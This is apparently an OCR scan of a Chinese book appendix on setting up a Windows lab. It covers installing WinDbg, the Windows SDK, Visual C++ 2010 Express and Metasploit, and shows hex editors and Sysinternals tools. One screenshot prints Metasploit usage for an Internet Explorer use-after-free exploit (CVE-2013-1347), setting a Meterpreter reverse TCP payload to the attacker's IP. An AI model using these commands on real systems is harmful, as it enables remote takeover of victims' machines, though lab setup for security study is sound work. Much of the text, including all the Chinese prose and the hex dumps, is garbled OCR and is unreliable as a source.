TR BLIRATT AT A 5 22 AR 2 Fh T R

B2 4% WinDbg, 1514+ Common Utilities H 1Y) Debugging Tools for
Windows.,



% Windows® SDK for Windows® 7 and .MET Framework 4

i I windows:
g’ Begin Installation .‘r‘ Software .
- Development Kit

Click Mext to begin vour installation of the Windows SDK, or click
Back to make changes.

g windows:
A& Software

~ Development Kit

[ < Back ]L Mext > J[ Cancel




% Windows® SDEK for Windows® 7 and _NET Framework 4

g’ Installation Progress

Status

Setup is now installing Windows SDK components.

Action

Downloading

A

I v winclows-
b Softw

are _
Development Kit

Cancel

A TR



%& Windows® SDK for Windows® 7 and .MET Framework 4

g’ Installation Complete ‘,

The zelected modifications are complete.
To wievs the loe, click Wiew Lo
To exit, click Finish.

For information about other free Microzoft developer downloads
zee the Windows SDE Releaze Motes.

A

[ Help improve our products by sending wour installation report
to Micrazoft. Mo information collected 1= used to identify vou
or contact wou.

Click to wiew the Privacy Statement.

I o winclows-
b Softw

E Windows*
J Softw. _
Wiew the Windows 50K Release Motes. Devel O pme nt Klt

are _
Development Kit

are

[ iew Loe | [ Finish |

A IR

X HBAT 2225 T



A.4 3 Visual Studio 2010

JUE AR IR 2 %A T Visual Studio 2012, {HA ik 244 F Visual
Studio 2010 Express fFCREHAT UHE (VERAK UL 1% /2 Visual C++ 2010
Express M) - KZ AL RO 6, R L.

L Bircsr 77 BN Visual Studio 2010 [ F#, &AL RAS NG = EE IR, s
FH 581 i) Visual Studio 2013/2015 Community i 4s . HEEE

m Download | Microsoft Wisu: X

C | [ www.micrasoft.com/visualstudio /eng/downloads#d—2 01 D—express

pq Visual Studio

control when building either native \Windaows Pack (CLIFy uses tooltip captions to display
(COM+) applications or NET Framework- translations for common user interface
managed Windows applications, After elements in the Visual Studio integrated
installation, you can try this product for up to 30 development environment (IDE). Use CLIP as a
days. You must register to obtain a free produc language aid, to see translations in your own
key for ongoing use after 30 days. dialect, update results in your own native

tongue or as a learning tool.
Download langquage

" e

* Greek - EMnwikd

Installation options * Hebrew - Ny

Wisual C++ 2010 Express - H#58 ¢ Hindi- e
G“ Install now * Hungarian - Magyar
S
D * Malay -

* Malayalam - 0OOOO0O
+ Oriya - OOOO0O

* Tarnil - SLAILD

* Thai- arlig

ga micrasoft.com?linkid=0709955 Choose Language

[E3

A Visual Studio 2010 T % 71 [

Chttp://www.microsoft.com/visualstudio/eng/downloads#d-2010-express 2

)

2 b B 7 58 9% Visual Studio 10775 B . —— W HE



http://www.microsoft.com/visualstudio/eng/downloads#d-2010-express

IR EAd A Visual Studio 2012 Express hiz, B LLA LA RX3GG % for
Windows Desktop x4~ (A]H T Windows 7 KB =RA RS

¢ Visual Studio Express 2012 products

http://www.microsoft.com/visualstudio/eng/products/visual-studio-
express-products 3

BEE

| 3 st o 5 1 51 Visual Studio 9171 T

W= E
Welcome to Setup w Micrafis
Visual C++ 2010

Express

Welcome to the Microsoft Visual C++ 2010 Express installation wizard, Microsoft Wisual C++ 2010
Express includes the 32-bit Wisual C++ compiler baolset and an optional lighbweight developrment
environment, This wizard will guide wou through the process toinstall this program and any
prerequisites needed on this computer,

Help Improve Setup
“ou can submit information about your setup experiences to Microsoft, To
participate, check the box below,

¥ ‘es, send information about my setup experiences ko Microsoft Corporation,

i) For more information, click Privacy Staternent

| Zancel

A Setup


http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products

E Microsoft ¥isual C++ 2010 Express Setup — =] =]

] Micrasaftr
License Terms w Visual C++ 2010

Express

Be sure ko carefully read and understand all the rights and restrictions described in the license
kerms, o musk accepk the license terms befare wou can install the software,

MICROSOFT SOFTWARE LICENSE TERMS ;l
MICROSOFT WISUAL C++ 2010 EXPRESS r—

These license kerms are an agreement bebween Microsaft Carporation (or based on where
woul live, one of its affiliabes) and wou, Please read them, They apply to the software named
abowe, which includes the media on which wvou received it, iF any.

-

Tha btarrme alen annle Fo oce BiceocaFE

Press the Page Down kew to see more text,

(¥} I have read and accept the license terms

2 I do not accept the license terms

< Previous | | Mext = || Cancel

A License

%% 1 have read and accept the license terms, RGN TF—T1,




W Microsoft Yisual C++ 2010 Express Setup =101 x|

Installation Options w MﬁEﬂal c+ + 2010
Express

Select the optional product(s) you would like b0 install:

[T Microsoft Silverlight

Microsoft Silverlight is a small browser plug-in that enables rich Web experiences, By
inskalling Silverlight wou accept the Silverlight license agreement,

[ Microsoft SOL Server 2008 Express Service Pack 1 (x86)

AL Server Express integrates with Visual Studio to provide basic client-database and
server-database capabilities.

‘U Far more inforrmation, see the Readme file,

= Previous | I Mext = || Zancel

A IR

A A A A Silverlight A1 SQL Server, K] H 1 S 2215 A X 7 1l



"'_F; Microsoft ¥isual C++ 2010 Express Setup o [m] S

Destination Folder

o0

M'n:rEu:ﬂ."'
Visual C++ 2010
Express

Select the location where wou would like boinstall Microsoft Wisual C++ 2010 Express,

Install in Folder:

IC:'I,F'rn:-gram FilesiMicrosaft Wisual Shudio 10,00

The Fallowing products will be installed:

Browse, ..

Microsoft Application Error Reporting
W 9.0 Runtime (x86)
Microsoft \MET Frarmewark 4

Microsoft Windows Installer 4.5 (x867 - Windows #P

Microsoft Windows Installer 4.5 Update (x86) - Windows XP

\MET Framewaork 4 Multi-Targeting Pack

Disk space requirements: C: 2.2 GB

A EFLARHX

< Previous | :

Cancel




W Microsoft Yisual C++ 2010 Express Setup ) o ]

Installation Progress w M\?EEBI C+ + 2010
Express

The following itemis) are being installed on this compuker:

2 (]

' Microsoft Application Error Reporting

w ¥C 9.0 Runtime {#86)

E; Microsoft .MET Framework 4

1 Microsoft Windows Installer 4.5 {#86) - Windows XP

I Microsoft Windows Installer 4.5 Update (x86) - Windows XP

T e il ol 1 A _ma. oz - F - (a1 | |

Currently Installing {3 of 9): Microsaft \MET Framewaork 4

TR
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& Microsoft Yisual C++ 2010 Express Setup - O] x|

Installation Progress

Hlﬂ'ﬁu:'ﬁ."
O Visual C++2010

Express
The Following itemis) are being installed on this compuker:
- 5
sl Microsoft Yisual C++ 2010 Express Setup
v
s “'ou Uzt restart pour computer bo complete the installation. S etup wil

automatizally continiie after your computer has restarted,
n

==

b
Hestart Later |
Curn

= S I T T H I o N it P = I 11
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i.i, Microsoft ¥isual C++ 2010 Express Setup O] x|

| Micrasaft®
Setup complete QO Visual C++2010

Express

Microsoft ¥Yisual C++ 2010 Express has been installed successfully.

(i) Misit Microsoft Update bo download the labest service packs and security updates,

A ARG
FX 2R TER T o

Ak, IRAMATHEL M, AR 30 K. ERF MR L
# Help — Register Product, M5 H RN 5338 B3 A 25 4H .



21|
. Hl'l:rgunﬂ'
O Visual C++ 2010 Express

Microsoft ¥isual C++ 2010 Express will run for 29 more days.

Registration is required to continue wsing Microsoft Visual C++ 2010 Express, Registration is
free and provides yaou with access ko additional benefits,

2btain a registration key online |

Reqistration Key:

Reqisher o | Close

A VEME

B — Microsoft ik /7', FFAEEFIRA T sy Obtain a registration key
online, HI[A]_ 2> Bos HyEM . B HMA L PIXEHE, #ar e
SERGEM T o



A5 %% Metasploit
X AR A 44— Windows hit Metasploit H 2235 7772
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e

o ZHHF

o iS5 i Wr i 1

o W& CKFTAMFERD
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‘3 Penetration Testing Software | Metasploit — Microsoft Internet Explorer

FrfE RERE F#TA BRCADGE V=D AN '
O O HEAG Pur Foomw @ 353 B
T ELADY ] http:vwew. metasploitcom v|if$ih Ul
il
]
metaSp|Oit Exploits Blog Support Documentation RAP

World's most used penetration testing software

FREE METASPLOIT DOWMLOAD LEARMN MOREE

< I ¥
& A -UiETEhELE B -k

A Metasploit [% 7T



Chttps://www.rapid7.com/products/metasploit/ )
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Setup - Metasploit

Welcome to the Metazploit Setup Wizard,

< Back

Mext »

g [ Cance|

A Setup



https://www.rapid7.com/products/metasploit/

Licenze Aereement

Pleaze read the following License fereement. Wou must accept the terms of this agreement
before continuing with the installation.

E

Papid? End User License and Serwvices Terms and Conditions

Customer agrees Lo be bound by the following terms and conditions
(this "Agreement") in connection with its purchase and use of
certain Rapid? LLC s ("Rapid?") Boftware and Serwices (each as
defined bhelow). Before installing and using any Software andfor
ocbtaining and using any Services you should read this Agreement
carefully. Clicking "accept" or octherwise installing and/or using
the Software and/or ocbtaining and/or using any Services

%

(®) T accept the agreement
() Ido not accept the asreement

Do wou accept this license?

BitRock hstaller

[ < Back ” Mext » H Cancel

A License Agreement

i%%% 1 accept the agreement, 745 i Next.



Installation folder @

Pleaze, chooze a folder to install Metazploit

Select a folder

BitRock hztaller

[ < Back H Mext » H Cancel
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Metasploit Service @

Pleaze enter the port that the Metazploit service will use.

351 Port

BitRock hztaller

[ < Back H Mext » H Cancel

A BB W

Generate an 55L Gertificate @

Pleaze provide the fully qualified domain name of thiz svstem below (e
metazploitexamplecoml & certificate i eenerated for a specific server name and web
browszers will alert users if the name does not match.

Server Mame |-:u::a|}'u:|:z:t |

Days of validity  |3650 |

BitRock hztaller

[ < Back H Mext > H Cancel
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M 53 V7 17] Metasploit B R S5 FH 3844 Al 1, 40 SR 3504 Rl i) 2L
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Ready to In=ztall @

Setup iz now ready to begin installine Metasploit on vour computer.

BitRock hztaller

[ < Back ]| Mext » |[ Cance|
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= Conduct penetration tests through an easy-to-use interface

- Demonstrate true risk to management and IT operations

= Eliminate false positives from third-party vulnerability scanners
= Upgrade to Metasploit Pro for advanced enterprise features

Inztalling
‘Waiting for Metazploit to start. Thiz may take a few minutes.

. Back Mext > Cancel

=)= X
Completing the Metasploit Setup Wizard

Setup haz finizhed installing Metazploit on your computer.

ficcess Metazploit Yweb L7
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Administrator

i“ Windows Update

P gg;g;a?ume & Windows Hags
e e
ETAN Gy FONSLATPAEAEETERE

Chutlook, Express

" MSN

® Windowsz Media Plaver

l‘_ﬁ Windows Messenger

o el

@ Windaws XP W —

é Internet Explorer I/ Gooele Chrome
I Red Gate

FATHI0ISLEP) ‘ Gl Metasploit

[B|or0 (@] o

@ Tty

m v-L

| AR-tre

ﬁ Internet Explorer

W' MsSH

@ Cutlook Express

&) Windows Media Player
3. Windows Mezzenger

B Windows L-F— A—h-
el UE=F FURALD

Metazploit Pro Conso..

A JEENERIE 1

@ Framework 3
@ Services [
@ Toolz r
lﬁl fccess Metazploit Wieh I
= [Diagnostic Logs
= Diagnostic Shell
@ Framework Update

1 Metazploit Conzole
«¥2 Pazgword Feset

@ ninstall Metazploit
5 Web - Community
€
€

Wieb - Metasploit

Web - Rapid?




[ Metasploit Pro Console |Z”:IE|
File Edit View Help

[*] Starting Metasploit Console... N
ITIITII

1T

IT

IT

1T
I I A

————— xp its 679 auxiliary - 131 post

————— 27 ayloads 29 encoders - & nops

pro

Ready 2580

A BEIFETHIG 2
A FH FA T8 B 1) & Metasploit Console.
5 H 771% 1 2 W, Metasploit Mk,



[ Exploit Databage (DE) | M x

&« > C DWWW.metasploit.cum/modules/# ‘{E

Home = Explait DB

Metasploit Auxiliary Module & Exploit Database (DB)

Welcome to the Exploit Database (DB) for Metasploit Auxiliary and Exploit Modules. The Metasploit Project hosts the
world's largest database of guality assured exploits, including hundreds of remote exploits, auxiliary modules, and
payloads.

Search for exploits and auxiliary modules

Open Source Vulnerability DataBase ID  Bugtraq ID

Full Text Search Commeon Yulnerabilities EXposures (CYE)
D

CVE-2013-1347

Microsoft Security Bulletin ID

SEARCH MODULES »

| @metasploit“ A —

| ] >

A % CVE 1



[ Microsoft Internet Explaorer %

el
m

&« C' | [ www.metasploit.com/modules/exploit/ windows/ hrowser/ ie_cgenericelement_uaf

T TG T T T T o T T e T A S e R T T T T e e T T

E
exploitwindows/browserfadobe_flashplayer_flash10o B
exploitwindows/browserfadobe_flashplayer_newfunction
exploitwindows/browserfadobe_flatedecode_predictor0d2

Exploit Usage Information

$ msfoonsole

loit/windows/browserfie cgenericelement uaf

- show payloads

- set PAYLOAD windowsfmet.erpret.e:l:,f]:eve:r:se_t.cp
- set LHOST [MY IP ADDRESS]

> exploit

| £

]

| ™

A 2 CVE 2

Metasploit & —/MERFFRI T H, RTEMAETUER—4A4,
A PGBRNF I HE, HEE R AR,

e Metasploit The Penetration Tester's Guide 4
http://shop.oreilly.com/product/9781593272883.do

4 KBB4 (Metasploit SENAIEEY , HLT TR, 2012 4RI . — %% iE
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Stirling / BZ Editor

Stirling /& —MIIAE K HER e as, ABrEiiH 17X T .

B ME— B A A TOVE TR AL BE DL GB N RSO, BE AN PRI R )
A, B LLIEFE BZ Editor.

B Stirling - [Stirling.exel (=09
by 7pLE) REE #R-H$HE BEQ UMW ATH RIEE:

D ||| ] #5[B0 =] sal |snfer| 200G OrlDuDY] 20| S
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G0 BD 54 90 00 03 00 00 00 D4 00 00 00 FF FF 00 00 MZ.............. b

B2 00 00 00 00 00 00 00 40 00 00 00 00 00 00 0O ....... O

00:00:00-00:00:00:00-00:00-00:00:00-00:00:00:00  sosssemmmms

(OS00E BRSO =00 000000000000 BS=0l D0l  sramsmesnas )

OE TF BA OE 00 B4 09 CD 21 B3 01 4C CD 21 54 68 ..2..1.A00. LA Th

B9 73 20 70 72 6F 67 72 61 60 20 63 61 6E 6E 6F s program canno

74 20 62 65 20 72 75 BE 20 69 6E 20 44 4F 53 20 1 be run in DOS

60 6F 64 65 2E 0D 0D 04 24 00 00 00 00 00 00 00  mode....$.......

33 9D 41 C4 77 FC 2F 97 V1 FC 2F 97 77 FC 2F 97

Tl FC2F 9] L OF . 92 B4 B0 21 950 EC 2F 9

9k:Es- 25 909 FLOR 990 RE 2B 9580 FD 2R 9 e

15 E3=3C-97 66 FC:2F-97.9F E3 2497 CE FE-OF-9]

CF.FA 29 97 76 FC 2F 97 52 69 63 68 77 FC 2F 97 JE L /Hiche. /.

00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00 .. ..., 4
AEEERT0 5400 200 20000 -00:00-00:00E0 00 0F20 5 B
0B 01 0s 00 00 BO 09 00 00 B0 03 00 00 00 00 00 ..., S S
4091050000 10000000 CO OO0 0D 004D 00 E1L.IHE g
L7t 000000000 | FHE [EE 835584 Bytes  [SHIFT1
A Stirling

Chttp://www.vector.co.jp/soft/win95/util/se079072.html )


http://www.vector.co.jp/soft/win95/util/se079072.html

[B4 BZ — Bz.exze (Nem)

File

Edit View

=]

]

=

Jump Toeol=

Help

OmB m |

vfh =0 F &

+1
5A
0o
0o
0o
1F
73
20
6F
AE
ce
CF
09
09
09
0o
u5
0o
ue
20
0o
co
0o
0o
8D
0o
0o
0o

+2
o8
aa
aa
aa
Ba
28
62
64
FD
[HH
02
EE
ES
EB
aa
aa
aa
a2
B6
aa
a8
18
aa
a7
aa
aa
aa

+3
[i]5]
a8
a8
aa
8E
7@
65
65
DF
8C
8C
8c
8C
8C
a8
a8
i)
aa
a8
i)
a8
a8
a8
aa
[i]5]
aa
a8

aeaeaa
gaae18
aBae2a8
g8a638
aaaeLA
888658
g8a86 8
aeaay e
aeaesa
a8ae9n
aeaenn
B886B A
aaaaca
a8ae6D a8
HBABER
B8ao6F 8
a8a188
gaa118
aea128
aea138
aaa148
aaa15a
aaa168
aaa1v7 e
aea188
gaa198
aaa1nna

+0
4]
B8
88
g
BE
69
74
6D
2D
AR
69
HE
13
hE
8o
50
8o
8o
8o
G
Gl
88
g
ue
Gl
8o
0o

+h
a3
aa
a8
aa
aa
i2
28
2E
69
61
Ed
75
7B
68
aa
ue
EB
aa
aa
a8
aa
aa
18
Fa
i)
aa
aa

+L +f +7 +8 +0
88 88 A6-84 B0
88 80 66-40 80
88 80 OG-80 60
88 80 A6-88 80
B4 89 CD-21 BS8
6F 67 72-61 6D
2 75 6E-28 69
80 8D BA-24 80
CF 93 BC-6? CF
CF 93 BC-AR CA
Ch 93 BC-LE @9
CF 93 BC-4E @9
CF 93 BC-4E @9
CF 93 BC-52 &9
88 80 A6-88 80
81 84 68-a4 8L
88 23 81-6B a1
88 88 88-C6 9E
88 40 06-80 148
88 88 A6-84 8@
84 80 A6-8C E4
18 88 B6-00 80
88 80 A6-88 88
8@ 80 AO-80 48
88 80 AG-88 B0
88 80 66-88 28
8@ 80 A6-80 80

+A
ae
aa
a8
aa
5}
28
G6E
aa
03
CE
FD
FE
EF
63
aa
Ba
a8
a3
aa
aa
a8
18
a8
a8
aa
a6
aa

+B
aa
[5]5]
aa
aa
Lc
63
28
aa
8C
8C
8C
8C
8C
it
5]5]
t1
aa
aa
aa
[5]5]
[5]5]
aa
aa
aa
aa
aa
5]4]

+C
FF
a8
0o
Fo
cD
61
4y
a0
69
70
AD
cec
68
69
a8
a0
00
a8
a0
0o
62
0o
08
8y
0o
1C
a0

+D
FF
a8
00
a8
21
6E
uF
a0
CF
CF
CF
CF
CF
CF
a8
a0
08
10
02
0o
a8
10
a8
7F
00
a8
a0

+E
aa
aa
aa
aa
5L
{13
53
aa
03
93
03
93
03
03
aa
aa
511
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa

123456 789ABCDEF

Gz

E

is program canno
t be run in DOS
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8 = x E
&=} Process Monitor — Sysinternals: www sysinternals.com

File Edlt Event  Filter Tu:uc:ls thu:uns Help
ZH| ABE | vAS® | B @5 | (DM

Time... Frocess Mame FIC | Operation Fath Re=ult Cre tail ﬁ
18190 . T |lsazsexe G4 ﬁ Reglpenkey HELMESECLRI T 4P alicy SUCCESS D gived Aoc
18190 .. [ |lsassexe G8d ﬁ Reglpankey HELMESECURI TP olicy¥S e cDe s SUCCESS e zived Ao
18190, [ |lsassexe G4 ﬁ Reglueryialue  HELMESECURIT v ¥Policy¥SecDesc¥De f.. BUFFER OWERFLOWLength: 12
18191 .. []lsassexe 684 ﬁ Regllosekey HELMESECURI T 4¥Policy¥S e cDesc SUCCESS
18:191.. []lsassexe G4 ﬁ Reglpenkey HELMESECURI TP olicy¥S e cDe s SUCCESS Cre zived A
18190, [ |lsassexs A84 ﬁ ReeRueryvalue HELMESECURITv¥Palicy¥SecDesc¥Def., SUCCESS Type: REG
18190,  |lsassexs 684 ﬁ ReglClosekey HELMESECURI T 4¥Policy¥S e cDesc SUCCESS
18101, []lsassexe 684 ﬁ Regllosakey HELMESECLRI T 4P alicy SUCCESS
18191, |lsass.ex= 684 ﬁ Reglpenkey HELMESECURI T 4P alicy SUCCESS Cre sired Ao
18191, [ |lsassexs G684 ﬁ Reglpankey HELMESECURI T ¥Policy¥S e cDe s SUCCESS e zived Ao
18190, —|lsassexs G4 ﬁ ReeQueryvalue HELMESECURITYEPolicy¥SecDesc¥(De £, BUFFER OWERFLOW Length: 12
18191, []lsassexe G4 ﬁ Regllosekey HELMESECURI TP olicy¥S e cDe s SUCCESS
18191, |lsass.ex= 684 ﬂ Reglpenkey HELMESECURI T 4¥Policy¥SecDesc SUCCESS Cre sired Ao
18190, " |lsassexs G4 ﬁ ReeRueryvalue HELMESECURITvEPaolicy¥SecDesc¥iDef., SUCCESS Type: REG
18191 .. [lsassexe 684 ﬁ Regllosekey HELMESECURI T 4¥Policy¥S e cDesc SUCCESS
18191, []lsassexe G4 ﬁ Regllosekey HELMESECLRI T 4P alicy SUCCESS
18190 .. [ |lsassexe G8d ﬁ Reglpankey HELMESECLRI T P alicy SUCCESS e zived Ao
18194,  |lsassexs 684 ﬁ Reglpenkey HELMESECURI T 4¥Policy¥S e cDesc SUCCESS Cre sived Ao
181091 .. [|lsassexe 684 ﬁ ReeQueryvalue HELMESECURITvEPolicy¥SecDesc¥iDe £, BUFFER OWERFLOW Length: 12
1a:19:1 .. f Explorer.EXE 1302 ﬁ Reglpenkey HELMESOF TWARE¥Microsoft¥iWindows¥.. MAME MOT FOURD  Desired Acc
£ | ¥

Showing 19514 of 49936 events (304

Backed by wirtual memary

A Process Monitor

(https://technet.microsoft.com/en-us/sysinternals/bb896645 )

Process Explorer

X

BRTE, wREE N N EPBR S B

& RN TS AT o IR TR A 158 A A K S E AR PRAE


https://technet.microsoft.com/en-us/sysinternals/bb896645

#% Process Explorer — Sysinternals: www. sysinternals.com [CAMPERS-8129G0EXAdministrator]

- EX

Epostsre sexe | £

1808 PostereS0L Server

File  Optionz  View Process Find  Uzers  Help
1 IER=E=E N N SN W i . HE
Frocess CPU|  Private Bytes ‘Working Set FIC | Cescription Company Mame
D 1 00.00 ZF] 0
= DSystem 0k 260 K 4
Dlnte rrupts < 0.0 0k ok n/a Hardware Interrupts and DPCs
= Esmss.em 160k 412 K 556 ‘Windows MT Session Manager  Microsoft Corporation
CSPSE.eHe 2100k 40938 K 604 Client Server Runtime Process Microsoft Corporation
= n winlogon e e 8,732 K 12540 K 628 ‘Windows MT Logon Application  Microsoft Corporation
= Ese ruices.exe 1,736 K 3452 K 672 Services and Controller app Microsoft Corporation
= Eswh ostexe 2,804 b B1TE2 K 844 Generic Host Process for 'Win... Microsoft Corporation
Ewmipr\ﬁe.ex& 2472 K 4920 K 2812 Wl Microsoft Corporation
swzhostexe 1,808 K 4284 K 940 Generic Host Process for 'Win... Microsoft Corporation
swzhostexe 12380k 18776 K 1032 Generic Host Process for 'Win... Microsoft Corporation
swchostexe 1,376 K 3640 K 1124 Generic Host Process for 'Win.. Microsoft Corporation
Eswh ostexe 1,764 K 4460 K 1176 Generic Host Process for Win... Microsoft Corporation
Espoolsmem 3,308 k 6364 K 1364 Spooler SubSystem App Microsoft Corporation
= w pE_Ctlexe 1,996 K 4004 K 1592 pectl - startsr’stopsf’re ztartz.. Postgre SOL Global Dewe
[=] Epostgres.em 4,404 kK 102312 K 1708 PostgreSC0L Servar PostgreS0L Global Dewe
Epostsre Sexe 3748 K 6056 K. 1756 PostgreSCGL Server Postere S0L Global Drewe
Epostgre ZEXE 3708 K I28 K 1792 PostgreSCIL Serwer Postgre SOL Global Dewe
posteres.exe 3,744 K 0344 K 1200 PostgreS0L Servar PostgreS0L Global Dewe
postgres.esxe 4864 k. 6,760 kK

Postere SQL Global Drewe [w
| ¥

CPU Usage: 000% | Commit Charge: 3257% | Processes: 43 | Physical Usage: H8.00%

A Process Explor
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e Windows Sysinternals (Utilities Index)
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